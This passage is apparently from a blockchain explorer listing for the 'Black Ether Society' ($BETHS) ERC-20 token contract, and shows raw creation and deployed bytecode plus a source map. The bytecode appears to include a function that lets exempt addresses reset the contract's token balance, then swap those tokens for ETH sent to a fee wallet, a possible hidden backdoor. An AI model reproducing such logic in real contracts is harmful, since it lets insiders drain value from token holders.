8015610a5957506001600160a01b03831661dead14155b8015610a6e57506001600160a01b0383163014155b15610a8257601054811115610a8257600080fd5b6001600160a01b03831615801590610aa257506001600160a01b03821615155b610aab57600080fd5b60008111610ab857600080fd5b60075460ff630100000082048116620100009092041610801590610ae65750601354600160a01b900460ff16155b8015610b0057506013546001600160a01b03848116911614155b8015610b0e575060075460ff165b15610b495730600090815260016020526040902054601054811115610b3257506010545b6007805462ff000019169055610b4781610c55565b505b6001600160a01b0383166000908152600360205260408120546001919060ff1680610b8c57506001600160a01b03841660009081526003602052604090205460ff165b15610b9a5760009150610be7565b6013546001600160a01b0390811690861603610bb4575060015b6007805462010000900460ff16906002610bcd836114ae565b91906101000a81548160ff021916908360ff160217905550505b610bf48585858585610e0c565b5050505050565b6000610c0782846114cd565b9392505050565b6000610c07828461149b565b6001600160a01b03811660009081526003602052604081205460ff168015610645576014543060009081526001602052604090205592915050565b6013805460ff60a01b1916600160a01b179055306000908152600160205260408120549050600060065482610c8a91906114cd565b905060006064600c5485610c9e9190611440565b610ca89190611457565b905080600654610cb891906114cd565b60065561dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610cf390829061149b565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d553060009081526040902054610d309082906114cd565b30600090815260016020526040812091909155600a54606490610d539087611440565b610d5d9190611457565b905060006064600b5487610d719190611440565b610d7b9190611457565b905060006064600d5488610d8f9190611440565b610d999190611457565b9050600081610da8848661149b565b610db2919061149b565b600754909150610100900460ff1615610dc85750845b610dd181611153565b6005544790610de9906001600160a01b0316826112ad565b50506007805461ff001916905550506013805460ff60a01b191690555050505050565b81610eeb576001600160a01b038516600090815260016020526040902054610e359084906114cd565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610e6590849061149b565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610eb99087815260200190565b60405180910390a361deac196001600160a01b03851601610ee65782600654610ee291906114cd565b6006555b610bf4565b8015611021576000606460085485610f039190611440565b610f0d9190611457565b90506000610f1b82866114cd565b6001600160a01b038816600090815260016020526040902054909150610f429086906114cd565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610f7290829061149b565b6001600160a01b038716600090815260016020526040808220929092553081522054610f9f90839061149b565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b0387160161101a578060065461101691906114cd565b6006555b5050610bf4565b60006064600954856110339190611440565b61103d9190611457565b9050600061104b82866114cd565b6001600160a01b0388166000908152600160205260409020549091506110729086906114cd565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546110a290829061149b565b6001600160a01b0387166000908152600160205260408082209290925530815220546110cf90839061149b565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b0387160161114a578060065461114691906114cd565b6006555b50505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611188576111886114e0565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111e1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120591906114f6565b81600181518110611218576112186114e0565b6001600160a01b03928316602091820292909201015260125461123e91309116846108ce565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611277908590600090869030904290600401611513565b600060405180830381600087803b15801561129157600080fd5b505af11580156112a5573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156112e3573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b81811015611315578581018301518582016040015282016112f9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461134b57600080fd5b50565b6000806040838503121561136157600080fd5b823561136c81611336565b946020939093013593505050565b60008060006060848603121561138f57600080fd5b833561139a81611336565b925060208401356113aa81611336565b929592945050506040919091013590565b6000602082840312156113cd57600080fd5b8135610c0781611336565b600080604083850312156113eb57600080fd5b82356113f681611336565b9150602083013561140681611336565b809150509250929050565b60006020828403121561142357600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176106455761064561142a565b60008261147457634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561148b57600080fd5b81518015158114610c0757600080fd5b808201808211156106455761064561142a565b600060ff821660ff81036114c4576114c461142a565b60010192915050565b818103818111156106455761064561142a565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561150857600080fd5b8151610c0781611336565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115635784516001600160a01b03168352938301939183019160010161153e565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220138bf52e5dd50a034e15431a360102d6e390a245c26f5855698bf8af3306edb064736f6c63430008110033
Deployed Bytecode
0x6080604052600436106101f25760003560e01c806370a082311161010d57806395d89b41116100a0578063a9059cbb1161006f578063a9059cbb14610588578063b1cb1582146105a8578063b5adc910146105be578063dd62ed3e146105ee578063e9cddf271461032557600080fd5b806395d89b411461050d578063960ee2f51461053c578063a158fd5d14610552578063a457c2d71461056857600080fd5b80637c062742116100dc5780637c062742146104a35780637d1db4a5146104b957806382b14515146104cf5780638da5cb5b146104ef57600080fd5b806370a0823114610420578063715018a61461045657806372f94ad91461046d57806378109e541461048d57600080fd5b8063395093511161018557806350716d211161015457806350716d21146103b0578063525b2a18146103d157806356cd40e7146103eb57806362eeed331461040057600080fd5b8063395093511461033b5780633f70a4951461035b57806348e40b9a1461037157806349bd5a5e1461039057600080fd5b806318160ddd116101c157806318160ddd146102d457806323b872dd146102e9578063313ce5671461030957806333828a3f1461032557600080fd5b806306463bbd146101fe57806306fdde0314610227578063095ea7b31461026c5780631694505e1461029c57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600a5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b50604080518082019091526013815272426c61636b20457468657220536f636965747960681b60208201525b60405161021e91906112e8565b34801561027857600080fd5b5061028c61028736600461134e565b610634565b604051901515815260200161021e565b3480156102a857600080fd5b506012546102bc906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b3480156102e057600080fd5b50600654610214565b3480156102f557600080fd5b5061028c61030436600461137a565b61064b565b34801561031557600080fd5b506040516009815260200161021e565b34801561033157600080fd5b506102bc61dead81565b34801561034757600080fd5b5061028c61035636600461134e565b61069c565b34801561036757600080fd5b5061021460085481565b34801561037d57600080fd5b5060075461028c90610100900460ff1681565b34801561039c57600080fd5b506013546102bc906001600160a01b031681565b3480156103bc57600080fd5b5060135461028c90600160a01b900460ff1681565b3480156103dd57600080fd5b5060075461028c9060ff1681565b3480156103f757600080fd5b506102146106d2565b34801561040c57600080fd5b5061028c61041b36600461134e565b610723565b34801561042c57600080fd5b5061021461043b3660046113bb565b6001600160a01b031660009081526001602052604090205490565b34801561046257600080fd5b5061046b610841565b005b34801561047957600080fd5b506005546102bc906001600160a01b031681565b34801561049957600080fd5b50610214600e5481565b3480156104af57600080fd5b50610214600c5481565b3480156104c557600080fd5b5061021460105481565b3480156104db57600080fd5b506004546102bc906001600160a01b031681565b3480156104fb57600080fd5b506000546001600160a01b03166102bc565b34801561051957600080fd5b5060408051808201909152600681526524424554485360d01b602082015261025f565b34801561054857600080fd5b50610214600b5481565b34801561055e57600080fd5b50610214600d5481565b34801561057457600080fd5b5061028c61058336600461134e565b61088b565b34801561059457600080fd5b5061028c6105a336600461134e565b6108c1565b3480156105b457600080fd5b5061021460095481565b3480156105ca57600080fd5b5061028c6105d93660046113bb565b60036020526000908152604090205460ff1681565b3480156105fa57600080fd5b506102146106093660046113d8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006106413384846108ce565b5060015b92915050565b6000610658848484610958565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461069291869161068d9086610bfb565b6108ce565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161064191859061068d9086610c0e565b6000806106de33610c1a565b90508080156106ea5750805b1561071b57306000908152600160205260408120546007805461ff001916610100179055905061071981610c55565b505b600091505090565b6000306001600160a01b0384160361073a57600080fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610781573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a59190611411565b9050600060646107b58584611440565b6107bf9190611457565b60055460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925086169063a9059cbb906044016020604051808303816000875af1158015610814573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108389190611479565b95945050505050565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161064191859061068d9086610bfb565b6000610641338484610958565b6001600160a01b038316158015906108ee57506001600160a01b03821615155b6108f757600080fd5b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061098157506001600160a01b03821661dead14155b801561099657506001600160a01b0382163014155b80156109ad57506001600160a01b03821661dead14155b80156109c757506013546001600160a01b03838116911614155b80156109e157506000546001600160a01b03848116911614155b15610a19576001600160a01b038216600090815260016020526040902054600e54610a0c838361149b565b1115610a1757600080fd5b505b6000546001600160a01b03848116911614801590610a4257506001600160a01b03821661dead14155b8015610a5957506001600160a01b03831661dead14155b8015610a6e57506001600160a01b0383163014155b15610a8257601054811115610a8257600080fd5b6001600160a01b03831615801590610aa257506001600160a01b03821615155b610aab57600080fd5b60008111610ab857600080fd5b60075460ff630100000082048116620100009092041610801590610ae65750601354600160a01b900460ff16155b8015610b0057506013546001600160a01b03848116911614155b8015610b0e575060075460ff165b15610b495730600090815260016020526040902054601054811115610b3257506010545b6007805462ff000019169055610b4781610c55565b505b6001600160a01b0383166000908152600360205260408120546001919060ff1680610b8c57506001600160a01b03841660009081526003602052604090205460ff165b15610b9a5760009150610be7565b6013546001600160a01b0390811690861603610bb4575060015b6007805462010000900460ff16906002610bcd836114ae565b91906101000a81548160ff021916908360ff160217905550505b610bf48585858585610e0c565b5050505050565b6000610c0782846114cd565b9392505050565b6000610c07828461149b565b6001600160a01b03811660009081526003602052604081205460ff168015610645576014543060009081526001602052604090205592915050565b6013805460ff60a01b1916600160a01b179055306000908152600160205260408120549050600060065482610c8a91906114cd565b905060006064600c5485610c9e9190611440565b610ca89190611457565b905080600654610cb891906114cd565b60065561dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610cf390829061149b565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d553060009081526040902054610d309082906114cd565b30600090815260016020526040812091909155600a54606490610d539087611440565b610d5d9190611457565b905060006064600b5487610d719190611440565b610d7b9190611457565b905060006064600d5488610d8f9190611440565b610d999190611457565b9050600081610da8848661149b565b610db2919061149b565b600754909150610100900460ff1615610dc85750845b610dd181611153565b6005544790610de9906001600160a01b0316826112ad565b50506007805461ff001916905550506013805460ff60a01b191690555050505050565b81610eeb576001600160a01b038516600090815260016020526040902054610e359084906114cd565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610e6590849061149b565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610eb99087815260200190565b60405180910390a361deac196001600160a01b03851601610ee65782600654610ee291906114cd565b6006555b610bf4565b8015611021576000606460085485610f039190611440565b610f0d9190611457565b90506000610f1b82866114cd565b6001600160a01b038816600090815260016020526040902054909150610f429086906114cd565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610f7290829061149b565b6001600160a01b038716600090815260016020526040808220929092553081522054610f9f90839061149b565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b0387160161101a578060065461101691906114cd565b6006555b5050610bf4565b60006064600954856110339190611440565b61103d9190611457565b9050600061104b82866114cd565b6001600160a01b0388166000908152600160205260409020549091506110729086906114cd565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546110a290829061149b565b6001600160a01b0387166000908152600160205260408082209290925530815220546110cf90839061149b565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b0387160161114a578060065461114691906114cd565b6006555b50505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611188576111886114e0565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111e1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120591906114f6565b81600181518110611218576112186114e0565b6001600160a01b03928316602091820292909201015260125461123e91309116846108ce565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611277908590600090869030904290600401611513565b600060405180830381600087803b15801561129157600080fd5b505af11580156112a5573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156112e3573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b81811015611315578581018301518582016040015282016112f9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461134b57600080fd5b50565b6000806040838503121561136157600080fd5b823561136c81611336565b946020939093013593505050565b60008060006060848603121561138f57600080fd5b833561139a81611336565b925060208401356113aa81611336565b929592945050506040919091013590565b6000602082840312156113cd57600080fd5b8135610c0781611336565b600080604083850312156113eb57600080fd5b82356113f681611336565b9150602083013561140681611336565b809150509250929050565b60006020828403121561142357600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176106455761064561142a565b60008261147457634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561148b57600080fd5b81518015158114610c0757600080fd5b808201808211156106455761064561142a565b600060ff821660ff81036114c4576114c461142a565b60010192915050565b818103818111156106455761064561142a565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561150857600080fd5b8151610c0781611336565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115635784516001600160a01b03168352938301939183019160010161153e565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220138bf52e5dd50a034e15431a360102d6e390a245c26f5855698bf8af3306edb064736f6c63430008110033
Deployed Bytecode Sourcemap
13051:11639:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14722:31;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;14722:31:0;;;;;;;;16777:83;;;;;;;;;;-1:-1:-1;16847:5:0;;;;;;;;;;;;-1:-1:-1;;;16847:5:0;;;;16777:83;;;;;;;:::i;17843:163::-;;;;;;;;;;-1:-1:-1;17843:163:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;17843:163:0;1205:187:1;15162:41:0;;;;;;;;;;-1:-1:-1;15162:41:0;;;;-1:-1:-1;;;;;15162:41:0;;;;;;-1:-1:-1;;;;;1588:32:1;;;1570:51;;1558:2;1543:18;15162:41:0;1397:230:1;17054:95:0;;;;;;;;;;-1:-1:-1;17134:7:0;;17054:95;;18014:269;;;;;;;;;;-1:-1:-1;18014:269:0;;;;;:::i;:::-;;:::i;16963:83::-;;;;;;;;;;-1:-1:-1;16963:83:0;;14292:1;2235:36:1;;2223:2;2208:18;16963:83:0;2093:184:1;14098:96:0;;;;;;;;;;;;14151:42;14098:96;;18291:218;;;;;;;;;;-1:-1:-1;18291:218:0;;;;;:::i;:::-;;:::i;14644:30::-;;;;;;;;;;;;;;;;14528:32;;;;;;;;;;-1:-1:-1;14528:32:0;;;;;;;;;;;15210:28;;;;;;;;;;-1:-1:-1;15210:28:0;;;;-1:-1:-1;;;;;15210:28:0;;;15245:25;;;;;;;;;;-1:-1:-1;15245:25:0;;;;-1:-1:-1;;;15245:25:0;;;;;;14484:37;;;;;;;;;;-1:-1:-1;14484:37:0;;;;;;;;16456:313;;;;;;;;;;;;;:::i;22842:371::-;;;;;;;;;;-1:-1:-1;22842:371:0;;;;;:::i;:::-;;:::i;17157:117::-;;;;;;;;;;-1:-1:-1;17157:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;17250:16:0;17223:7;17250:16;;;:7;:16;;;;;;;17157:117;13470:138;;;;;;;;;;;;;:::i;:::-;;13899:87;;;;;;;;;;-1:-1:-1;13899:87:0;;;;-1:-1:-1;;;;;13899:87:0;;;14879:52;;;;;;;;;;;;;;;;14801:31;;;;;;;;;;;;;;;;15004:47;;;;;;;;;;;;;;;;13804:87;;;;;;;;;;-1:-1:-1;13804:87:0;;;;-1:-1:-1;;;;;13804:87:0;;;13283;;;;;;;;;;-1:-1:-1;13329:7:0;13356:6;-1:-1:-1;;;;;13356:6:0;13283:87;;16868;;;;;;;;;;-1:-1:-1;16940:7:0;;;;;;;;;;;;-1:-1:-1;;;16940:7:0;;;;16868:87;;14760:34;;;;;;;;;;;;;;;;14839:31;;;;;;;;;;;;;;;;18517:228;;;;;;;;;;-1:-1:-1;18517:228:0;;;;;:::i;:::-;;:::i;17282:167::-;;;;;;;;;;-1:-1:-1;17282:167:0;;;;;:::i;:::-;;:::i;14681:32::-;;;;;;;;;;;;;;;;13743:51;;;;;;;;;;-1:-1:-1;13743:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17680:155;;;;;;;;;;-1:-1:-1;17680:155:0;;;;;:::i;:::-;-1:-1:-1;;;;;17794:21:0;;;17767:7;17794:21;;;:11;:21;;;;;;;;:33;;;;;;;;;;;;;17680:155;17843:163;17918:4;17935:39;1858:10;17958:7;17967:6;17935:8;:39::i;:::-;-1:-1:-1;17992:4:0;17843:163;;;;;:::o;18014:269::-;18112:4;18129:36;18139:6;18147:9;18158:6;18129:9;:36::i;:::-;-1:-1:-1;;;;;18207:19:0;;;;;;:11;:19;;;;;;;;1858:10;18207:33;;;;;;;;;18176:77;;18185:6;;18207:45;;18245:6;18207:37;:45::i;:::-;18176:8;:77::i;:::-;-1:-1:-1;18271:4:0;18014:269;;;;;:::o;18291:218::-;1858:10;18379:4;18428:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18428:34:0;;;;;;;;;;18379:4;;18396:83;;18419:7;;18428:50;;18467:10;18428:38;:50::i;16456:313::-;16505:7;;16542:20;1858:10;16542:6;:20::i;:::-;16525:37;;16576:9;:22;;;;;16589:9;16576:22;16573:170;;;16653:4;16614:18;17250:16;;;:7;:16;;;;;;16674:12;:19;;-1:-1:-1;;16674:19:0;;;;;16614:45;-1:-1:-1;16708:23:0;16614:45;16708:11;:23::i;:::-;16599:144;16573:170;16760:1;16753:8;;;16456:313;:::o;22842:371::-;22928:10;22986:4;-1:-1:-1;;;;;22958:33:0;;;22950:42;;;;;;23021:49;;-1:-1:-1;;;23021:49:0;;23064:4;23021:49;;;1570:51:1;23003:15:0;;-1:-1:-1;;;;;23021:34:0;;;;;1543:18:1;;23021:49:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23003:67;-1:-1:-1;23081:16:0;23126:3;23100:25;23108:17;23003:67;23100:25;:::i;:::-;:29;;;;:::i;:::-;23182:10;;23148:55;;-1:-1:-1;;;23148:55:0;;-1:-1:-1;;;;;23182:10:0;;;23148:55;;;4257:51:1;4324:18;;;4317:34;;;23081:48:0;;-1:-1:-1;23148:33:0;;;;;4230:18:1;;23148:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23140:63;22842:371;-1:-1:-1;;;;;22842:371:0:o;13470:138::-;13567:1;13551:6;;13530:40;;-1:-1:-1;;;;;13551:6:0;;;;13530:40;;13567:1;;13530:40;13598:1;13581:19;;-1:-1:-1;;;;;;13581:19:0;;;13470:138::o;18517:228::-;1858:10;18610:4;18659:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18659:34:0;;;;;;;;;;18610:4;;18627:88;;18650:7;;18659:55;;18698:15;18659:38;:55::i;17282:167::-;17360:4;17377:42;1858:10;17401:9;17412:6;17377:9;:42::i;18894:269::-;-1:-1:-1;;;;;18995:22:0;;;;;;:50;;-1:-1:-1;;;;;;19021:24:0;;;;18995:50;18987:59;;;;;;-1:-1:-1;;;;;19057:21:0;;;;;;;:11;:21;;;;;;;;:33;;;;;;;;;;;;;:42;;;19115:38;;160:25:1;;;19115:38:0;;133:18:1;19115:38:0;;;;;;;18894:269;;;:::o;19171:1560::-;13329:7;13356:6;-1:-1:-1;;;;;19295:13:0;;;13356:6;;19295:13;;;;:47;;-1:-1:-1;;;;;;19325:17:0;;14047:42;19325:17;;19295:47;:83;;;;-1:-1:-1;;;;;;19359:19:0;;19373:4;19359:19;;19295:83;:116;;;;-1:-1:-1;;;;;;19395:16:0;;14151:42;19395:16;;19295:116;:152;;;;-1:-1:-1;19434:13:0;;-1:-1:-1;;;;;19428:19:0;;;19434:13;;19428:19;;19295:152;:184;;;;-1:-1:-1;13329:7:0;13356:6;-1:-1:-1;;;;;19464:15:0;;;13356:6;;19464:15;;19295:184;19291:304;;;-1:-1:-1;;;;;17250:16:0;;19495:18;17250:16;;;:7;:16;;;;;;19577:15;;19553:19;19566:6;17250:16;19553:19;:::i;:::-;19552:40;;19544:49;;;;;;19480:115;19291:304;13329:7;13356:6;-1:-1:-1;;;;;19619:15:0;;;13356:6;;19619:15;;;;:45;;-1:-1:-1;;;;;;19648:16:0;;14151:42;19648:16;;19619:45;:76;;;;-1:-1:-1;;;;;;19677:18:0;;14151:42;19677:18;;19619:76;:110;;;;-1:-1:-1;;;;;;19708:21:0;;19724:4;19708:21;;19619:110;19615:173;;;19763:12;;19753:6;:22;;19745:31;;;;;;-1:-1:-1;;;;;19808:18:0;;;;;;:38;;-1:-1:-1;;;;;;19830:16:0;;;;19808:38;19800:47;;;;;;19875:1;19866:6;:10;19858:19;;;;;;19929:11;;;;;;;;19918:7;;;;;:22;;;;:54;;-1:-1:-1;19959:13:0;;-1:-1:-1;;;19959:13:0;;;;19958:14;19918:54;:92;;;;-1:-1:-1;19997:13:0;;-1:-1:-1;;;;;19989:21:0;;;19997:13;;19989:21;;19918:92;:127;;;;-1:-1:-1;20027:18:0;;;;19918:127;19901:438;;;20152:4;20102:29;17250:16;;;:7;:16;;;;;;20200:12;;20176:36;;20173:80;;;-1:-1:-1;20239:12:0;;20173:80;20267:7;:11;;-1:-1:-1;;20267:11:0;;;20293:34;20305:21;20293:11;:34::i;:::-;20071:268;19901:438;-1:-1:-1;;;;;20413:24:0;;20359:12;20413:24;;;:18;:24;;;;;;20374:4;;20359:12;20413:24;;;:50;;-1:-1:-1;;;;;;20441:22:0;;;;;;:18;:22;;;;;;;;20413:50;20410:239;;;20489:5;20479:15;;20410:239;;;20549:13;;-1:-1:-1;;;;;20549:13:0;;;20541:21;;;;20538:72;;-1:-1:-1;20590:4:0;20538:72;20626:7;:9;;;;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;20410:239;20669:48;20684:4;20690:2;20694:6;20702:7;20711:5;20669:14;:48::i;:::-;19274:1457;;19171:1560;;;:::o;987:98::-;1045:7;1072:5;1076:1;1072;:5;:::i;:::-;1065:12;987:98;-1:-1:-1;;;987:98:0:o;881:::-;939:7;966:5;970:1;966;:5;:::i;17457:215::-;-1:-1:-1;;;;;17540:32:0;;17510:4;17540:32;;;:18;:32;;;;;;;;17583:56;;;;17621:16;;17612:4;17596:22;;;;:7;:22;;;;;:41;17656:8;17457:215;-1:-1:-1;;17457:215:0:o;20873:1115::-;15569:13;:20;;-1:-1:-1;;;;15569:20:0;-1:-1:-1;;;15569:20:0;;;21009:4:::1;-1:-1:-1::0;17250:16:0;;;-1:-1:-1;17250:16:0;;;;;;20962:53:::1;;21030:17;21072:7;;21051:18;:28;;;;:::i;:::-;21030:49;;21096:22;21160:3;21145:12;;21121:21;:36;;;;:::i;:::-;:42;;;;:::i;:::-;21096:67;;21198:14;21188:7;;:24;;;;:::i;:::-;21178:7;:34:::0;14047:42:::1;21250:20;::::0;:7:::1;:20;::::0;;;:37:::1;::::0;21273:14;;21250:37:::1;:::i;:::-;21227:7;:20;::::0;;:60;21343:4:::1;21227:20;21327:22:::0;;;21227:20;21327:22;;;:39:::1;::::0;21352:14;;21327:39:::1;:::i;:::-;21318:4;21302:22;::::0;;;:7:::1;:22;::::0;;;;:64;;;;21441:11:::1;::::0;21455:3:::1;::::0;21417:35:::1;::::0;:21;:35:::1;:::i;:::-;:41;;;;:::i;:::-;21395:63;;21473:19;21536:3;21519:15;;21495:21;:39;;;;:::i;:::-;:44;;;;:::i;:::-;21473:66;;21554:25;21620:3;21606:11;;21582:21;:35;;;;:::i;:::-;:41;;;;:::i;:::-;21554:69:::0;-1:-1:-1;21640:18:0::1;21554:69:::0;21661:25:::1;21675:11:::0;21661;:25:::1;:::i;:::-;:45;;;;:::i;:::-;21724:12;::::0;21640:66;;-1:-1:-1;21724:12:0::1;::::0;::::1;;;21721:40;;;-1:-1:-1::0;21750:9:0;21721:40:::1;21789:28;21806:10;21789:16;:28::i;:::-;21901:10;::::0;21852:21:::1;::::0;21888:35:::1;::::0;-1:-1:-1;;;;;21901:10:0::1;21852:21:::0;21888:12:::1;:35::i;:::-;-1:-1:-1::0;;21938:12:0::1;:20:::0;;-1:-1:-1;;21938:20:0::1;::::0;;-1:-1:-1;;15612:13:0;:21;;-1:-1:-1;;;;15612:21:0;;;-1:-1:-1;;;;;20873:1115:0:o;23221:1462::-;23357:7;23353:1309;;-1:-1:-1;;;;;23400:15:0;;;;;;:7;:15;;;;;;:23;;23416:7;;23400:23;:::i;:::-;-1:-1:-1;;;;;23382:15:0;;;;;;;:7;:15;;;;;;:41;;;;23459:18;;;;;;;:26;;23478:7;;23459:26;:::i;:::-;-1:-1:-1;;;;;23438:18:0;;;;;;;:7;:18;;;;;;;:47;;;;23505:36;;;;;;;;;;23533:7;160:25:1;;148:2;133:18;;14:177;23505:36:0;;;;;;;;-1:-1:-1;;;;;;;23561:24:0;;;23558:67;;23618:7;23610;;:15;;;;:::i;:::-;23600:7;:25;23558:67;23353:1309;;;23664:5;23660:1002;;;23687:14;23724:3;23712:11;;23704:7;:19;;;;:::i;:::-;:23;;;;:::i;:::-;23687:40;-1:-1:-1;23742:23:0;23768:14;23687:40;23768:7;:14;:::i;:::-;-1:-1:-1;;;;;23817:15:0;;;;;;:7;:15;;;;;;23742:40;;-1:-1:-1;23817:23:0;;23833:7;;23817:23;:::i;:::-;-1:-1:-1;;;;;23799:15:0;;;;;;;:7;:15;;;;;;:41;;;;23876:18;;;;;;;:34;;23895:15;;23876:34;:::i;:::-;-1:-1:-1;;;;;23855:18:0;;;;;;:7;:18;;;;;;:55;;;;23966:4;23950:22;;;;:29;;23973:6;;23950:29;:::i;:::-;23941:4;23925:22;;;;:7;:22;;;;;;;;;:54;;;;24002:44;160:25:1;;;-1:-1:-1;;;;;24002:44:0;;;;;;;;;;133:18:1;24002:44:0;;;;;;;-1:-1:-1;;;;;;;24066:24:0;;;24063:75;;24123:15;24115:7;;:23;;;;:::i;:::-;24105:7;:33;24063:75;23670:498;;23660:1002;;;24191:15;24230:3;24217:12;;24209:7;:20;;;;:::i;:::-;:24;;;;:::i;:::-;24191:42;-1:-1:-1;24248:23:0;24274:15;24191:42;24274:7;:15;:::i;:::-;-1:-1:-1;;;;;24324:15:0;;;;;;:7;:15;;;;;;24248:41;;-1:-1:-1;24324:23:0;;24340:7;;24324:23;:::i;:::-;-1:-1:-1;;;;;24306:15:0;;;;;;;:7;:15;;;;;;:41;;;;24383:18;;;;;;;:34;;24402:15;;24383:34;:::i;:::-;-1:-1:-1;;;;;24362:18:0;;;;;;:7;:18;;;;;;:55;;;;24473:4;24457:22;;;;:30;;24480:7;;24457:30;:::i;:::-;24448:4;24432:22;;;;:7;:22;;;;;;;;;:55;;;;24510:44;160:25:1;;;-1:-1:-1;;;;;24510:44:0;;;;;;;;;;133:18:1;24510:44:0;;;;;;;-1:-1:-1;;;;;;;24574:24:0;;;24571:75;;24631:15;24623:7;;:23;;;;:::i;:::-;24613:7;:33;24571:75;24174:488;;23221:1462;;;;;:::o;21996:474::-;22088:16;;;22102:1;22088:16;;;;;;;;22064:21;;22088:16;;;;;;;;;;-1:-1:-1;22088:16:0;22064:40;;22133:4;22115;22120:1;22115:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;22115:23:0;;;:7;;;;;;;;;;:23;;;;22159:15;;:22;;;-1:-1:-1;;;22159:22:0;;;;:15;;;;;:20;;:22;;;;;22115:7;;22159:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22149:4;22154:1;22149:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;22